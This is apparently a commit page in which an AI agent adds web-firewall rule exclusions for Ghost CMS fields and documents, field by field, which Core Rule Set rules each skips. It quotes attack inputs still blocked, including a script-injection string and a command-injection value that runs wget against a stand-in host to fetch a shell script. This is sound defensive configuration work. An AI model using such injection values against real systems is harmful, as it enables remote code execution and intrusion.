Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Waiting to run

Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:

- eight rules that refused words naming commands and files, 932235 among
  them, for staff profiles, setup, invitations, tiers, offers,
  recommendations, integrations, webhooks, feature images, comments, the
  CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
  ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-12 09:14:50 +00:00
1 parent 101cc0aba5
commit c7696b4c11
5 files changed
+803 -54

No files matched your search

+82 -21
View File
@@ -1747,35 +1747,87 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
and the request it refused. Ghost's admin and integrations call the Admin API
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`.
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
Three query fields skip some rules:
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
API and the Content API, so `tag:powershell` passes;
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120.
930120 and 932120;
- `source` and the `utm_` fields, which filter the analytics, skip those eight
rules under `/ghost/api/admin/stats/`;
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
there;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
The fields of JSON bodies where a person types plain text skip 930120, 932120,
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
pages, tags, labels, members, newsletters and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
- `custom_excerpt`, `description`, `note` and `sender_name`;
- the `meta_`, `og_` and `twitter_` titles and descriptions.
A member's `name` at `/members/api/` skips them too. A member's `email` skips
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
member. A staff user's address skips them too: `username` when signing in, and
`email` when creating the first staff user, asking for a password reset or
saving a profile.
These fields on the Admin API skip them too:
The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
A post's skips them under `/ghost/api/admin/posts/`, and a page's under
`/ghost/api/admin/pages/`.
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
- `blogTitle` and `name` when creating the first staff user;
- `name` when accepting an invitation;
- `name`, `description` and `benefits` of tiers;
- `name`, `code`, `display_title` and `display_description` of offers;
- `title`, `description` and `excerpt` of recommendations;
- `name` and `description` of integrations, and `name` of webhooks;
- `feature_image_alt` and `feature_image_caption` of posts and pages.
These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
its rules only on its own path:
- `sourceHandle`, an account that moves here, when it is added at
`/.ghost/activitypub/v1/aliases`;
- `actorUri`, that account's address, when the admin removes it there;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
does. Each skips them only on its own path:
- a post's under `/ghost/api/admin/posts/`;
- a page's under `/ghost/api/admin/pages/`;
- a tag's under `/ghost/api/admin/tags/`.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1795,12 +1847,14 @@ The articles skip these rules:
Code injection is the HTML that Ghost adds to the head and the foot of a page.
These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings, since the site's settings hold its code injection.
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
@@ -1809,15 +1863,22 @@ card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
text, the addresses and the canonical URLs.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- the `canonical_url` of posts, pages and tags;
- `search`, `url`, `pathname`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`powershell & python3`.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name